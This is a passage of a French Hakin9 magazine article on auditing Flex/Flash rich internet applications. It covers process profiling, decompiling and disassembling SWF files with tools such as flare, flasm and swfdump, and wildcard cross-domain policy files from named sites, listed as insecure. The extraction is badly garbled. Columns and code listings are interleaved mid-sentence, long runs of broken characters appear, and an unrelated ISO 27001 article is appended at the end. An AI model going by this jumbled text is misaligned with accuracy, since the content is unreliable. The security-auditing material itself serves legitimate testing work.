facteurs._xscale = 100.EVENT_OBJECT_STATECHANGE = 32778._accImpl. L'optimisation d'une application est donc indispensable pour utiliser les ressources de la meilleur façon.EVENT_OBJECT_NAMECHANGE = 32780. } FPushButtonClass. Object. this. this.prototype = new FUIComponentClass(). } this. Code SWF décompilé et le navigateur. this.fpb_hitArea_mc.unloadMovie(). this.setLabel(this. il y a un nombre important de ressources qui sont prises en charge. this. on préférera utiliser ActionScript 3._accImpl.init(). En règle générale. les cycles du CPU. 2).boundingBox_mc. Cela est indispensable pour des instructions fonctionnelles. this. this._width = w.setHitArea(w.init(). h)._width = w.height). this.boundingBox_mc.getLabel()). this. this._visible = false. Chaque instruction de la structure du code représente un standard type.setClickHandler(this. h) { var hit = this. 1/2009 HAKIN9 35 .exe est chargé en mémoire pour l'exécution des applications FLEX. this.attachMovie('fpb_hitArea'. if (this. 'fpb_hitArea_mc'. this.TEST DES APPLICATIONS RIA <?xml version="1.

'shadow_mc'. 'component' getVariable push 'registerSkinElement' callMethod pop push 'highlight3D'.xml Output: <actions> <Dictionary> <strings> <String value="component"/> <String value="_parent"/> <String value="face"/> <String value="frame5"/> <String value="registerSkinElement"/> <String value="shadow"/> <String value="frame3"/> <String value="darkshadow"/> <String value="frame1"/> </strings> </Dictionary> <PushData> <items> <StackDictionaryLookup index="0"/> <StackDictionaryLookup index="1"/> </items> </PushData> <GetVariable/> <PushData> </actions> 36 HAKIN9 1/2009 .swf nav. 'darkshadow_mc' getVariable push 2.000 1. 'component' getVariable push 'registerSkinElement' callMethod pop push 'darkshadow'. 'arrow_mc'. 'registerSkinElement'. 'highlight_mc'.exe -p nav.DOSSIER Listing 2. 'highlight3D_mc' push 'component'.swf | more ( 4 bytes) action: Push Lookup:0 ("component") Lookup:1 ("_parent") ( 0 bytes) action: GetVariable ( 2 bytes) action: Push Lookup:1 ("_parent") ( 0 bytes) action: GetMember ( 0 bytes) action: DefineLocal ( 4 bytes) action: Push Lookup:2 ("face") Lookup:3 ("frame5") [Text Objects] Running Status: F:\Audit\flash_auditing>swfdump.000 0. 'arrow'. 'darkshadow'.swf | more "face_mc" "arrow_mc" "highlight_mc" "shadow_mc" "darkshadow_mc" "highlight3D_mc" [Placement Objects] Running Status: F:\Audit\flash_auditing>swfdump. Désassemblage d'un fichier SWF avec flasm frame 0 constants 'component'. 'face'. Génération de code XML à partir de Fichiers SWF Running Status: F:\Audit\flash_auditing>swfmill swf2xml nav.exe -a nav. 'darkshadow_mc'.swf | more 11 FRAMELABEL "Symbol_10" has 1 extra bytes (ANCHOR) 6 PLACEOBJECT2 places id 0001 at depth 0001 | Matrix | 1.exe 4 DEFINESPRITE defines id 0096 35 DOACTION 16 PLACEOBJECT2 places id 0089 at depth 0001 name 17 PLACEOBJECT2 places id 0091 at depth 0003 name 21 PLACEOBJECT2 places id 0092 at depth 0005 name 18 PLACEOBJECT2 places id 0093 at depth 0007 name 20 PLACEOBJECT2 places id 0094 at depth 0009 name 21 PLACEOBJECT2 places id 0095 at depth 0011 name 0 SHOWFRAME 1 (00:00:00. 'component' getVariable push 'registerSkinElement' callMethod pop push 'face'. 'component' getVariable push 'registerSkinElement' callMethod pop end // of frame 0 end // of defineMovieClip 104 defineMovieClip 105 // total frames: 1 end // of defineMovieClip 105 defineMovieClip 106 // total frames: 1 end // of defineMovieClip 106 defineMovieClip 107 // total frames: 1 end // of defineMovieClip 107 L'application est en cours d'exécution et consomme des ressources système. il est indispensable d'analyser le comportement [Action Objects] Running Status: F:\Audit\flash_auditing>swfdump. 'highlight3D_mc' getVariable push 2.000 0. 'highlight_mc' getVariable push 2.000) 0 END -t nav. 'face_mc' getVariable push 2.000) (label "Symbol_10") 0 END Listing 4.00 0 SHOWFRAME 1 (00:00:00. 'face_mc'. Cette étape porte sur : l'utilisation de la RAM. 'arrow_mc' getVariable push 2. '_parent' getVariable push '_parent' getMember varEquals push 'arrow'. 'highlight3D'. 'shadow'.00 | 0.000 0. Une bonne méthode pour effectuer un audit d'optimisation consiste à varier la nature des algorithmes afin de tester de manière Listing 3. 'shadow_mc' getVariable push 2. etc. 'highlight'. 'component' getVariable push 'registerSkinElement' callMethod pop push 'shadow'. '_parent'. Avant de se focaliser sur le code des applications FLEX. les variations du CPU. Dump des objets d'un fichier SWF rigoureuse leurs effets sur le système. 'component' getVariable push 'registerSkinElement' callMethod pop push 'highlight'.

une faille mémoire provient d'une erreur à l'exécution d'un thread. 39. 215. 137.isDebugger) { return "Debugger version of Flash Player!". 131. Le testeur peut voir quels processus liés n'ont pas été chargés. 605 [-F] 11 Fonts: ID(s) 122. 34.text=Capabilities. certaines applications essayent de charger constamment certaines fonctions à partir des modules. 33. 8.manufacturer}" width="300" height="20"/> <mx:TextArea id="ver_info" text="{Capabilities. Ce processus se fait grâce aux DLL (Dynamic Link Libraries). 180-183. } } private function checkPrint():String { if (Capabilities. il devient alors facile pour lui d'examiner les threads hérités du système. Cela peut aboutir à une utilisation abusive de la mémoire ou des failles mémoire. un nombre dédié de threads (processus légers) sont initialisés selon l'application exécutée. 523. 446. Par conséquent. 192. il y a un thread correspondant du système. Figure 5). } else { return "Local File Read is Enabled!". 129. 244. flash player nécessite plusieurs modules chargés dynamiquement. 155. Exemple de Profilage avec FLEX Builder <?xml version="1. 520. On obtient des informations sur les objets systèmes utilisés par le processus. 567. 171-173.adobe. elles lui permettent de déterminer la nature Listing 5. Pour son exécution. 43.hasTLS) { return "TLS (Transport Layer Security) Supported!". 569. nous allons exploiter les éléments qui montrent l'efficacité (test d'optimisation) des applications. 565. [-i] 181 Shapes: ID(s) 1.hasPrinting) { return "Printing Supported!". 5. 66. En effet. 196-201.}} private function checkLocalf():String { if (Capabilities. 557. 48-51. Cela affecte la robustesse des applications FLEX. Pour ce faire. 52. 54. 53.system. En règle générale. 441.version}" width="300" height="20"/> <mx:TextArea id="myText" text="" width="300" height="50"/> <mx:Button id="info_but" label="Server String Lookup" click="{myText. On peut extraire diverses informations sur les threads en cours d'exécution. 78. private function checkDebug():String { if (Capabilities. À chaque processus.Capabilities.mxml --> <mx:Script> <![CDATA[ import flash. 191. 426. 225-23 [-i] 149 MovieClips: ID(s) 2. 15. 40. 194. 211-213. 153. 36-38. 177.serverString}"/> </mx:WindowedApplication> 1/2009 HAKIN9 37 . la première étape de l'évaluation se base sur la collecte d'informations des threads. 44. 6. Néanmoins.} } private function checkTls():String { if (Capabilities. 203-209. 560. 145. Cet aspect est essentiel pour avoir une vue d'ensemble de la phase d'exécution et du temps écoulé. 70. 421. Pendant cette phase de vérification des applications FLEX. 102.com/2006/mxml" layout="absolute"> <!-.localFileReadDisable == true ) { return "Local File Read is Disabled!". 142. 71 [-j] 19 JPEGs: ID(s) 179. 64. 580.} }]]></mx:Script> <mx:Text id="info" text="Extracted Flash Player / System Information"/> <mx:TextArea id="debug_info" text="{checkDebug()}" width="300" height="20"/> <mx:TextArea id="tls_info" text="{checkTls()}" width="300" height="20"/> <mx:TextArea id="local_file_info" text="{checkLocalf()}" width="300" height="20"/> <mx:TextArea id="print_info" text="{checkPrint()}" width="300" height="20"/> <mx:TextArea id="os_info" text="{Capabilities. 45. Cela est indispensable dans le cas de systèmes haut de gamme et qui exécutent des applications lourdes. 150. 563. 9. 55. 584 [-f] 1 Frame: ID(s) 0 PHASE 1 : Test des processus Flash Player en cours d'exécution Tout d'abord vous allez voir l'analyse sémantique des thread d'un processus [sous FLEX]. Exemple d'un module nécessaire au lancement de flash player (cf. L'analyse des threads à l'intérieur d'un processus d'une application FLEX en cours d'exécution fournit des informations essentielles sur les objets auxquels nous avons accès ou qui ont été créés.0" encoding="utf-8"?> <mx:WindowedApplication xmlns:mx="http://www. 65. Comprendre l'exécution type d'un thread est un des éléments fondamentaux dans l'évaluation des applications FLEX. il faudra prendre en compte les concepts suivants : Nous évaluons des applications FLASH. 530. 527. 505. Listing 6. 90. 31. Pour peu qu'un testeur ait des connaissances approfondies sur l'exécution des threads.logging/CheckDebugger. 10-30. 7. } else { return "Printing Not Supported!". Les informations contenues dans un module sont nécessaires au testeur. 223. 46. } else { return "TLS (Transport Layer Security) Not Supported!". } else { return "Flash Player!".TEST DES APPLICATIONS RIA des processus de base à l'exécution. 67-69. Vérification des Processus Liés [sous FLEX] Un processus se compose d'un certain nombre de fonctions appelées par d'autres modules. Ce mécanisme se fait uniquement pour des analyses en cours d'exécution et avant de tester le code source. de nombreuses ressources système sont consommées. 436. Extraction d'objets des fonctions appelées et si elles sont ou non chargées. Dans notre méthodologie nous prenons en compte un nombre important de paramètres afin de vérifier la réponse de l'application. elles peuvent ne pas fonctionner correctement. 118. 174. 3. La Figure 4 montre l'extraction des threads internes à l'application flash pendant la phase d'exécution sous flash player. 41.os}" width="300" height="20"/> <mx:TextArea id="man_info" text="{Capabilities. 84. 35. 134. 590. 42. 58-63. 184. 4. 110. 517. 57. Ce facteur peut avoir un effet sur le processeur. 56. 187. 32. 47. 127. Lors de la création d'un processus.

no"/> </cross-domain-policy> <!-.xml --> <cross-domain-policy> <allow-access-from domain="*.ytimg.http://mypodcast.xml --> <cross-domain-policy> <allow-access-from domain="*. Les propriétés peuvent être spécifiées comme suit : cf.amazon. Ces paramètres sont testés avec différentes valeurs afin d'analyser le comportement du processus et les réponses associées au système.http://www.com/crossdomain.com"/> <allow-access-from domain="devo.com"/> </cross-domain-policy> <!-.discoveringradiance.com"/> <allow-access-from domain="*.xml --> <cross-domain-policy> <allow-access-from domain="*"/> </cross-domain-policy> <!-.amazon.ca"/> <allow-access-from domain="*. Fichiers inter-domaines de différentes ressources Yahoo: <cross-domain-policy> <allow-access-from domain="*.com/crossdomain.amazon.xml --> <cross-domain-policy> <allow-access-from domain="www. Vue interne d'une Application Internet Riche (RIA) 38 HAKIN9 1/2009 Figure 2.com/crossdomain.amazon. Figure 6.jp"/> <allow-access-from domain="*.youtube. le mécanisme de priorisation des processus devrait être appliqué.co.uk"/> </cross-domain-policy> Test des Paramètres du Processus Le processus est toujours associé à un certain nombre de paramètres.yahoo. Analyse des Processus constituant un frein Pour l'évaluation de n'importe quelle application d'un système.au"/> </cross-domain-policy> <!--http://api. L'exécution d'un processus déclaré en mémoire peut être stoppé.amazon.http://www.com compressed/chunked Fri Mar 28 00:02:26 PDT 2008 <cross-domain-policy> <allow-access-from domain="*" secure="false"/> </cross-domain-policy> <!-.amazon.ws03.com"/> <allow-access-from domain="www.hippo.yahoo.co. Ce concept est essentiel pour l'analyse statistique des malwares exécutés ou une utilisation mémoire excessive de certains programmes écrits sous FLEX.com"/> <allow-access-from domain="pre-prod.de"/> <allow-access-from domain="*.com" secure="false"/> </cross-domain-policy> <!-.fr"/> <allow-access-from domain="*.umusic.jp"/> <allow-access-from domain="*.uk"/> <allow-access-from domain="*.com"/> <allow-access-from domain="anon.com/crossdomain.amazon.amazon. On peut tester également les failles mémoire.com"/> <allow-access-from domain="*. ils peuvent exploiter l'ensemble des cycles. Exemple d'une RIA en cours d'exécution . On peut également observer les ressources partagées par le processus avec d'autres applications.flickr.com"/> <allow-access-from domain="images. il faut tester certains paramètres.com"/> <allow-access-from domain="*.amazon.net"/> <allow-access-from domain="*.amazon. Ce mécanisme n'affecte en rien l'exécution du processus mais il met de côté d'autres processus utilisés pendant les cycles du processeur. Les cycles du --> �������������������������� �������������� ��������������������� ����������� ������������ ������������� ������������� ���������� ������������� ����������������� ��������������������� ����������� ������������ ��������������������������� Figure 1.scd.search.amazon.com"/> <allow-access-from domain="*.amazon.amazon.com"/> <allow-access-from domain="amazon.com"/> <allow-access-from domain="*.DOSSIER Listing 7. L'ensemble est exécuté en tâche de fond.com. Une autre étape dans une phase de test consiste à refuser un processus lié à d'autres : cf. Figure 7.http://twitter.twitter. La priorisation des processus consiste à abaisser la priorité d'un processus afin que les autres puissent consommer les ressources du processeur.xml --> <cross-domain-policy> <allow-access-from domain="*.no/crossdomain.kingsize.amazon. Afin de tester le processus à son état initial (phase d'exécution). Si d'autres processus l'utilisent alors ceux en cours d'exécution.google.youtube. Nous pouvons exploiter les renseignements fournis par la priorisation d'une application FLEX grâce au graphique récapitulant l'utilisation du processeur.speedera.

Il est indispensable d'analyser le nombre d'erreurs de pages causés par les processus des applications FLEX. on réalise un Thread boosting. loadVariables(url. Figure 8. Cela est indispensable du point de vue : test ���������������� �������������� Figure 3. Attaquons la deuxième phase. C'est un bon outil pour effectuer des tests orientés concept (comme ci-dessus).security.load ( url ). Si un processus produit plusieurs erreurs de pages alors les performances s'en trouveront dégradées. target ). nous analyserons les irrégularités du code.B : Les techniques décrites peuvent être implémentées avec Process Lasso de BITSUM technologies.Globales / Locales level root global System. sont attribuées pour veiller à leur bonne exécution. Sound. On retrouve ici.load(request). Illustration de Process Lasso : cf. Voici quelques techniques de base à suivre. Il s'agit uniquement d'un test sommaire. On voit également les différents threads rattachés. On applique cette technique lorsque les threads en arrièreplan intérfèrent avec ceux de l'avant-plan. Process Lasso en action Erreurs de Pages (Page Faults) de l'Application Les erreurs de pages se produisent lorsqu'un processus tente de charger une adresse mémoire virtuelle qui n'a pas été chargée ou initialisée. Info sur les threads du processus de Flashplayer 1/2009 HAKIN9 39 . isStreaming ). le test d'un périphérique avec l'analyse d'une application FLEX en cours d'exécution sous flash player.play( url ).currentTarget + ":" + event.[yourDomain]. LoadVars. Le thread d'avant-plan est donc boosté.com"). Pour chaque thread.. Booster le thread d'une application Le fonctionnement des threads est disséminé à travers des threads en arrière-plan et à l'avant-plan. } ]]></mx:Script> Vérifier les Gestionnaires d'erreurs : private function triggerSecurityError():void { var request:URLRequest = new URLRequest("http://www. Pour tester avec plus d'efficacité l'exécution d'une application FLEX vous pouvez paramétrer le niveau de performance du processus (sa vitesse) et sa connection.loadPolicyFile Vérifier les Paramètres du Code L'extraction des URL : getURL Load Events : load*(URL. XML. Field Setup : TextField. Par la suite. Afin de tester un thread durant son exécution.TEST DES APPLICATIONS RIA processeur peuvent donc se focaliser sur le test des autres processus.loadSound( url . Il s'agit d'un processus statique pour analyser la structure interne d'une application flash. on va s'intéresser au mécanisme de conversion afin de transformer le code compilé en code pour l'analyse.htmlText [ Metadata Checks ] Vérification des Conversions : Flash à XML try { __flash__toXML().load ( url ). } try{code}catch(e){location. level ).type).allowDomain Débogage du Code SWF [Trace Parameter] <mx:Script><![CDATA[ private function traceEvent(event:Event):void { trace(event. System.Security. N. La plupart des fichiers sont au format SWF. NetStream. LoadMovieNum( url. Le terme boosting indique un quota de temps (time slice) plus important pour un thread donné. ������� ������� Phase 2: Conversion du code des applications FLEX : Inverser la Sémantique �������� ������� ����� ������ ������ ��������� Cette seconde phase porte sur le mécanisme de conversion à partir d'un fichier SWF jusqu'au code source et à son pseudo code pour l'analyse. des durées de temps (time slices) Listing 8.reload()} Initialisation des Variables . LoadMovie ( url. Par exemple : – windows effectue le thread boosting du processus. level ). } catch(e) { Undefined.. } private function securityErrorHandler(event:SecurityErrorEvent):void {} Vérifier les Objets Partagés : asfunction Vérifier l'URL source avec <mx:Application> [Enable / Disable] Vérifier les inputs avec <mx:validator> class L'analyse fournit des informations sur les objets utilisés.) Functions. Modèle de flux de travail Figure 4. Cette étape est appliquée aux threads d'avant-plan. loader.

Si nécessaire : supprimer. Cela inclut : une décompilation. Analyse du pseudo code : désassemblage d'une application FLEX La désassemblage d'applications FLEX en pseudo-code (comprendre code assembleur) est un moyen efficace pour effectuer des tests. l'analyse du pseudocode à travers son désassemblement et une analyse statique du code. P U B L I C • . Le but est d'avoir une vision d'ensemble du programme.DOSSIER Figure 5. on peut envisager la rétro-ingénierie. En règle générale. il est donc nécessaire de décompiler l'application. l'actionscript utilisé est désassemblé en fonctions au niveau du système pour avoir une bonne vision d'ensemble. il peut alors être soumis à un moteur d'analyse. La rétro-ingénierie d'applications FLEX permet de collecter un ensemble d'informations indispensables pour l'analyse d'applications cibles. Si un fichier flash est décompilé en code source. Cette étape permet de croiser les structures d'information et les différents appels de l'application. on utilise un outil de décompilation appelé FLARE [http:// www. Cette étape permet d'avoir des informations sur le code qui a été développé. Ce processus favorise l'analyse du code de l'application.html]. il faut décompiler les applications FLEX pour pouvoir analyser leur code source. Les applications flash sont pour la plupart sous forme compilées. Dans un premier temps. Afin de décompiler une application FLEX. remplacer ou changer les fichiers SWF. En effet. Dans le cadre de ce processus. Elles donnent des indications sur les instructions compilées. Configuration des paramètres processus Le fichier obtenu est au format FLR. Pour en comprendre la logique.nowrap. l'application FLEX devrait être testée contre les méthodes mentionnées ci-dessus. Pour comprendre comment se lance une application FLEX. Le code est décompilé. Les gestionnaires d'erreurs et de code peuvent aussi être tracés et testés. Figure 9). Exécution : c:\audti\flash _ audit> flare <swf file> Figure 6. car même La décompilation d'applications FLEX Afin d'avoir le code source d'une application. • Effectuez la même opération sur les MACROS des applications FLEX.de/ flare. Le but est de visualiser l'ensemble des objets utilisés et d'en connaître plus sur le pattern STACK. Toujours vérifier les opérations de compression/décompression qui se basent sur les besoins de l'application. Elle permet également de tracer les fonctions et leurs effets sur le système. Pour effectuer un test de qualité. Dépendances du processus de FlashPlayer et évaluation. L'analyse du pseudocode se base sur ce modèle. On obtient également une définition des divers appels de fonctions au cours de l'exécution et la manière dont le système y fait face. il faut bien comprendre la phase de désassemblage. Les informations relatives aux fonctions peuvent être aisément extraites. comme au Listing 1. Autre intérêt de ce procédé : l'automatisation. il devient donc plus aisé pour le testeur d'analyser l'application. il faut effectuer un désassemblage. Cette technique est efficace. Elle donne des informations sur les variables initialisées de manière globale ou locale. le testeur doit donc retrouver les informations initiales à la création de l'application et ses fonctionnalités. Celui-ci cherchera les extraits de code vulnérables (cf. le testeur peut concevoir un I T É autre programme pour analyser le code à la recherche des fonctions non sécurisées. Pour une analyse approfondie. Voici quelques étapes clés pour la phase de décompilation. Une analyse bas niveau est réalisée grâce au désassemblage.

Un simple code en action script peut être combiné avec un fichier SWF. Vous pouvez tout aussi bien mettre à jour des fichiers SWF et les assembler avec différents paramètres pour effectuer vos tests. Modèle de désassemblage de FLEX 1/2009 HAKIN9 41 .TEST DES APPLICATIONS RIA le compilateur MTASC. Les fichiers SWF sont généralement testés de la manière suivante (Figure 12). on analyse généralement trois objets. POST modification des applications FLEX : Test togique Ce processus est critique du point de vue test. Test processus Activer/ Désactiver si le code est quelque peu altéré. comme au Listing 2. cela paraît identique. une position à l'intérieur même du fichier SWF. Avec cette méthode. Le dumping logique fournit des informations spécifiques pour l'analyse. L'ensemble des tests sont réalisés de manière logique. il est nécessaire de faire un dump logique des contenus. Modèle de décompilation de FLEX Figure 10. La compression et décompression du code est plus facile grâce à la commande SWF-Combine. Le processus de modification met en oeuvre le stacking. Figure 7. Grâce à cette procédure. Il peut mettre en oeuvre l'ensemble des techniques que l'on vient de citer Exécution : c:\audti\ flash _ audit> flasm -d <swf file> Le fichier obtenu est au format FLM. [-xysf] [(nameN| #idN)=]slavefileN Dumping logique de fichiers SWF Du fait de la taille conséquente des fichiers SWF. L'outil SWF-dump est utilisé pour rechercher les objets souhaités. Figure 11. Lors de l'optimisation d'une application. Il compile directement des fichiers objets à partir du code. Un attaquant peut modifier ou concevoir un fichier SWF malveillant afin d'obtenir une porte dérobée et exploiter ultérieurement l'application. Un testeur pourra parfois effectuer un dumping de fichiers SWF pour étudier certains objets au sein d'autres fichiers. Process Lasso en Action � � � � � � � � � � � � � ���� ������������������������� ��������������������� �������������� ��������������������������� ������� � � � � � � � � � � � � � ���� �������������������� ����������������� ��������������������������� ������������������ �������������������������� Figure 9. il peut être à nouveau assemblé et testé. Dans un stacking. mais il y a une différence. Le code est décompilé.html). Ces cadres sont indépendants les uns des autres. Un autre outil peut se combiner aux fichiers SWF pour modifier leur code. L'objet est compilé pour générer un fichier SWF. Effectuer un assemblage Byte Code. Voyons un modèle de test : cf.exe [-rXYomlcv] [-f] masterfile [-xysf] [(name1|#id1) =]slavefile1 . le code à un cadre (frame) à part entière et au fichier SWF d'origine. Exécution : [1] C:\audti\flash _ audit> swfcombine. le test des fichiers SWF s'en trouve amélioré. le fichier SWF est testé avec différents paramètres en combinant du code test. Ces objets effectuent une action. Les testeurs réalisent le code nécessaire et le combinent avec le fichier SWF pour tester son comportement. Le modèle présenté ci-dessus nécessite deux outils. Du côté utilisateur. Le premier est Figure 8. • • Un très bon assembleur est FLASM (http:// www. le processus de concaténation et fusion peut être suivi selon l'environnement de test et le code de l'application. possèdent du texte. différents codes peuvent être utilisés pour étudier son comportement à l'exécution.de/flasm.nowrap. Le désassemblage est un processus global. Dans cette technique.. Étudions l'affichage du Listing 3.

Exécution: F:\ nav. Dumping des paramètres des fichiers SWF 42 HAKIN9 1/2009 �������������������������������������������������� . Le navigateur considère un objet flash comme objet intégré. PNG. Le paramètre temps de diverses instructions est également vérifié afin de déterminer le temps nécessaire à la fin d'un processus. Figure 13 et Listing 5). Cela signifie que les données circulent sous forme binaire. Ceprocessus est indispensable pour comprendre la structure hiérarchique d'un document XML. Les objets peuvent être des images : JPEG. n'en souffre aucunement. Pour intégrer des fichiers SWF au sein d'un navigateur. Il est indispensable d'avoir une application interprète de bytecode pour lire les données reçues. mais dans le cas du profilage des tests intermédiaires sont réalisés pour vérifier le fonctionnement de l'application. Cette approche permet d'obtenir des informations sur le temps d'exécution des instructions. Cette technique est efficace lorsque le testeur doit analyser des fichiers SWF imposants.xml (cf. L'intégrité du fichier �������� �������������� �������������� �������� ���������������������������������������������� ������������ ���������������� �������� ����������������� �������������� ������������� �������������� ������������������������� ��������� ��� ���� ���� ������ ���� ���������� ������������������������� �������������������� ������������������ Figure 12. Gif. est en règle générale considéré comme fiable. Analyse de code dumpé : fichiers SWF Audit\flash _ auditing>swfextract -v Profilage de l'Application Le profilage de l'application est un processus de test permettant de comprendre le comportement de l'application à l'exécution. Cela permet une analyse plus approfondie du fichier SWF puisque le testeur a plus de possibilités. Listing 5). Le temps est un facteur dépendant directement de l'utilisation du système. Cette technique est utile à la fois pour l'optimisation et la recherche de Les applications basées sur Flex.DOSSIER ����������� ��������� ����������� ���������� ��� �������� ��� ����������� ������������� ������������ ����������� �������� ������� �������������� ������������� ����� �������� �������� malwares. notamment celles en Flash sont exploitées au format bytecode. en règle générale il faut surveiller le temps d'exécution (cf. On peut comprendre comment est utilisé la RAM et la puissance requise par le processeur. De ce fait. les Extraire des Objets à partir des Fichiers SWF Cette approche est pratique pour l'extraction d'objets à partir de fichiers SWF. Pour effectuer ce que l'on vient d'expliquer ci-dessus. etc. Lorsqu'une application est profilée : cf. La sécurité peut être intégrée au code lui-même. Le mécanisme de conversion d'un format à un autre. Figure 11. La procédure d'extraction est bénéfique si elle cible certains objets. Elle permet de comprendre les objets qui entrent en jeu au sein de l'application FLEX. Il est difficile de suivre à la trace les objets en question sur tout un fichier. Figure 14. D'autres objets incluent du son ou des nombres. Plusieurs types de protocoles Web sont utilisées pour transférer les flux de données binaires à partir d'un serveur web. Combiner du code dans les modèles de fichiers SWF Générer du code XML à partir de Fichiers SWF Une autre technique consiste à changer le fichier SWF file au format XML. L'exécution est un processus classique au sein d'un système. on peut utiliser l'outil SWF-Mill. Du fait de la complexité et de la taille conséquente des objets utilisés dans les fichiers SWF. il devient difficile d'obtenir un format XML. Reportons-nous au Listing 4. on utilise un IFRAME ou des balises frame.

Ci-dessous. XCON. Listing 8). Cela est important puisque la plupart des fonctionnalités des applications Flex sont prises en compte par l'intégration du HTML. Le code source peut être analysé avec l'aide des signatures de codes vulnérables ou des morceaux de code. Pour ce faire. 1/2009 HAKIN9 43 . ce qui réduit l'utilisation de la mémoire. a. Il faut d'abord décompiler les applications flex au format FLR [avec l'outil flare]. 0kn0ck. Certains plugins telles que le flash player d'Adobe doivent être mis à jour. Ce problème se produit lorsque une version spécifique d'un plugin n'est pas lancée. L'analyse du code porte également sur l'HTML. une présentation du modèle (Figure 15). on peut l'analyser pour voir s'il y a des vulnérabilités propres aux objets ou des morceaux de code non sécurisés dans l'application FLEX.k. Il a pu conseiller des entreprises leader dans leur domaine. OWASP et CERT-IN. Généralement la création d'add-ons se fait grâce à des librairies ATL (acronyme de Active Template Library). est un chercheur indépendant en sécurité informatique. Le processus de décompilation est la base de tout travail d'analyse. Le plugin est indispensable pour les librairies standard ATL par rapport à des compatibilités d'exécution.TEST DES APPLICATIONS RIA composants ont une sécurité de base. Objets non sécurisés à analyser pendant la décompilation des Fichiers SWF (Listing 7). Il est le fondateur de SecNiche Security. 0kn0ck �������������������������������������������������� Figure 15. Ses recherches ont été publiées dans Usenix Login. On a pu remarquer des problèmes lorsqu'un DEP était activé au Figure 14. Les derniers add-ons ont été améliorés et prennent en compte la fonctionnalité DEP. ce problème n'est pas géré proprement. ������������� �������������������������� Les problèmes de compatibilité peuvent affecter la sécurité des applications en cours d'exécution du côté client. on pourra noter : Mlabs. Elle permet de créer des objets COM grâce aux classes en C++. Du côté client (en terme de sécurité). L'analyse et l'exécution se fait grâce au plugin et l'interface de LiveConnect. Optimisation sous Flex Builder Vérifier la version de votre navigateur. Il n'est pas évident d'analyser la structure compilée d'une application binaire et de trouver des vulnérabilités relatifs aux objets. Vérifier la politique d'Exécution des Données [DEP] sous IE. Il faut réaliser une vérification de compatibilité. après cette phase on obtient le code source.a. La sécurité des applications FLEX. CERA et TrioSec. Il intervient régulièrement aux conférences : EuSecWest. Il travaille en tant qu'Auditeur Sécurité pour KPMG.k. ������������������������������������������������������ Aditya K Sood. a. Une fois le fichier généré. Par exemple : avoir l'ancienne version du plugin de flash player et vous pouvez être sûr que votre navigateur plantera. On va dans un premier temps analyser les fichiers SWF pour trouver des failles de sécurité ou des vulnérabilités dans des morceaux de code. Cette fonctionnalité nécessite une version actualisée du Contrôle ActiveX et des librairies ATL. sein du navigateur. DEP est activé pour lancer des processus par un mécanisme de protection.a. exécutée sur flash player par les navigateurs doit être testée en amont pour ne pas se retrouver avec des exceptions non gérées. Il faut envisager la création de contrôles Active X 64 bits. Parmi ses autres projets. Extraction des composants à partir d'un fichier SWF Aditya K Sood. Il faut d'abord décompiler l'application Flex. il faut vérifier les choses suivantes : • • • �������� ��������� ��������� Annexe Un élément important à vérifier est la compatibilité de flash player avec vos navigateurs. La version des plugins ajoutés comme : les ADD-ONS dynamiques. Le navigateur possède un plugin flash pour jouer directement les animations. Les développeurs qui concoivent des contrôles ActiveX devraient savoir quelles sont les librairies ATL utilisées afin qu'il n'y ait pas de problèmes au niveau des exceptions (cf.

ISO 27001 est surtout populaire à l'étranger. Hongrie avec 74 certificats. L'ISO 27001 définit l'ensemble des tests et contrôles à effectuer pour s'assurer du bon respect d'ISO 27002 (anciennement ISO/CEI 17799). L CET ARTICLE EXPLIQUE La Norme ISO27001 : nouveau challenge et un guide à suivre. entreprise / individu se faire certifier 44 HAKIN9 1/2009 a norme ISO/IEC 27001 et été publiée en octobre 2005 par l´International Organisation for Standardisation (ISO) en lien avec est l´International Electrotechnical Commission (IEC). comme c’est le cas de l'Inde ou certains pays de l'Est (ex. les certifications qualité ISO 9000 sont entrées dans les mœurs des entreprises. elle comprend une approche globale de la sécurité de l´information et de l´infrastructure en garantissant la protection contre la perte. ainsi qu´une évaluation des risques et de l´efficacité des contrôles. dédiée au domaine de la sécurité de l'information. comme le Japon ou le RoyaumeUni ont mis en place des schémas de certification sécurité depuis la fin des années 90. la Grande Bretagne 378 et la Taiwan 187. Après des débuts hésitants. CE QU'IL FAUT SAVOIR ISO27001. Les certifications ISO 27000 prendront certainement le même chemin. Comme pour les normes ISO 9001 et ISO 14001. ce n’est pas le cas de ceux qui veulent faire la différence. humains et juridiques. Cette dernière est l’annexe A d’ISO 27001 est composée de 133 mesures de sécurité classées dans 11 chapîtres de sécurité. ISO 27001 s´inspire du standard BS 7799 de l´organisme britannique de certification BSI. Selon l’international Register of ISMS Certificates (http:// www. À l’heure actuelle. Si ce certificat reste peu connu ou reconnu dans le monde francophone. Les critères de mesure concrets proposés par la norme et les 133 mesures de sécurité couvrent tous les aspects techniques. Elle concerne plus précisément la définition et la mise en place d'un Système de Management de la Sécurité de l'Information. appelé également SMSI (ISMS : Information Security Management System). Il implique également des audits de surveillance et le suivi des performances des fournisseurs.com). seule 16 sociétés dans le monde francophone sont certifiées ISO 27001 avec deux sociétés certifiés au Maroc et une dizaine en France alors que le Japon en compte déjà 2789. l’inde 427. au développement de ses activités et à sa pérennité. selon le modèle de qualité PDCA (Plan Do Check Act) afin d'assurer une amélioration continue de la sécurité d'information. ce n’est pas le cas.iso27001certificates. organisationnels. à la confiance accordée par ses clients. république tchèque ou la Pologne) qui œuvre pour le développement de l’offshoring et d’avoir une crédibilité envers leurs partenaires. Cette norme est-elle populaire ? Certains pays. Sa maîtrise et sa protection contribuent à l’efficacité de ses actions. qui concernait la Disponibilité. il est possible de se faire certifier ISO 27001. environ 4848 sociétés sont certifiées dans le monde. le détournement ou la falsification des informations et accès permanent aux utilisateurs autorisés. La norme certifiante ISO 27001 va conduire . la Confidentialité et I´intégrité des informations de l’organisme (appelé dans notre jargon DIC). dans la francophonie. ses actionnaires et ses collaborateurs.FOCUS KARIM HAMDAOUI ISO 27001 Degré de difficulté L’information constitue un bien stratégique pour l’entreprise.

